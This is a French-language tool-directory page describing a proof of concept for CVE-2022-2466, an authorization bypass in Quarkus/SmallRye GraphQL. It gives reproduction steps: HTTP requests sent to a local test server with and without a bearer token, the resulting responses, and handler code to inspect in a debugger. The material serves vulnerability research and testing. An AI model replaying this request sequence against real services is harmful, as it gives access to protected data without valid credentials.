Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-2466---Request-Context-not-terminated-with-GraphQL — Preuve de concept pour CVE-2022-2466 démontrant la terminaison non authentifiée du contexte de requête GraphQL dans Quarkus/SmallRye, contournant les contrôles d'autorisation. | Kitploit
Outils/GitHubGitHub/yuxblank/cve-2022-2466---request-context-not-terminated-with-graphql
Analyse des VulnérabilitésSécurité WebTests d'IntrusionAuthentificationSécurité des API
GitHubyuxblank/cve-2022-2466---request-context-not-terminated-with-graphql

CVE-2022-2466---Request-Context-not-terminated-with-GraphQL

Preuve de concept pour CVE-2022-2466 démontrant la terminaison non authentifiée du contexte de requête GraphQL dans Quarkus/SmallRye, contournant les contrôles d'autorisation.

Voir le dépôt
15il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-2466 Request-Context-not-terminated-with-GraphQL

Comment exécuter

  1. lancer mvn:quarkus:dev
  2. exécuter les requêtes http suivantes

EXÉCUTEZ CECI DEUX FOIS

root@kitploit:~
POST http://localhost:8080/graphql
Content-Type: application/graphql
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJfN3gxcGhILXpKcFpoMVFfaXAtVHRVR3dNTU52OWIyOE9Wcnczc0prU2lrIn0.eyJleHAiOjE2NTg3NTA5NjUsImlhdCI6MTY1ODc1MDY2NSwiYXV0aF90aW1lIjoxNjU4NzUwNjY0LCJqdGkiOiJkNGVhNzA5ZC01YmZkLT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DGgZfMB9uX9ZUBsWXlNvTXhOA5B8oH38fwtde8fbLNPommxC3WakF8F7Z9BjI0pyCeBwk-XVnhZBtdGEd_dqjMvnzaJ7uCw

query {
  exampleQuery
}

EXÉCUTEZ CECI

root@kitploit:~
POST http://localhost:8080/graphql
Content-Type: application/graphql

query {
  exampleQuery
}

La deuxième requête DOIT échouer, car aucun en-tête Authorization n'a été défini. JWTAwareContext lève une exception lorsqu'il n'y a pas d'en-têtes d'autorisation.

Si cela ne se produit pas, essayez à nouveau d'exécuter la requête http 1 puis la requête http 2.

Une fois que la deuxième requête répond :

root@kitploit:~
HTTP/1.1 200 OK
content-type: application/graphql+json; charset=UTF-8
content-length: 34

{
  "data": {
    "exampleQuery": "hello!"
  }
}

Mettez SmallRyeGraphQLAbstractHandler en mode débogage et terminez le contexte dans la méthode handle.

root@kitploit:~
    @Override
    public void handle(final RoutingContext ctx) {

        if (currentManagedContext.isActive()) { // terminate the context here evaluating via debug inspector
            handleWithIdentity(ctx);
        } else {

            currentManagedContext.activate();
            ctx.response()
                    .endHandler(currentManagedContextTerminationHandler)
                    .exceptionHandler(currentManagedContextTerminationHandler)
                    .closeHandler(currentManagedContextTerminationHandler);

            try {
                handleWithIdentity(ctx);
            } catch (Throwable t) {
                currentManagedContext.terminate();
                throw t;
            }
        }
    }

Après la terminaison, la réponse renverra la réponse correcte (erreur système)

root@kitploit:~
{
  "errors": [
    {
      "message": "System error",
      "locations": [
        {
          "line": 1,
          "column": 11
        }
      ],
      "path": [
        "exampleQuery"
      ],
      "extensions": {
        "classification": "DataFetchingException"
      }
    }
  ],
  "data": {
    "exampleQuery": null
  }
}

Inverser les requêtes

Si vous redémarrez et inversez l'ordre des requêtes, c'est-à-dire DEUX FOIS la requête 2 et une fois la requête 1, vous obtenez l'erreur au lieu du succès pour la requête OK.

Télécharger l’outil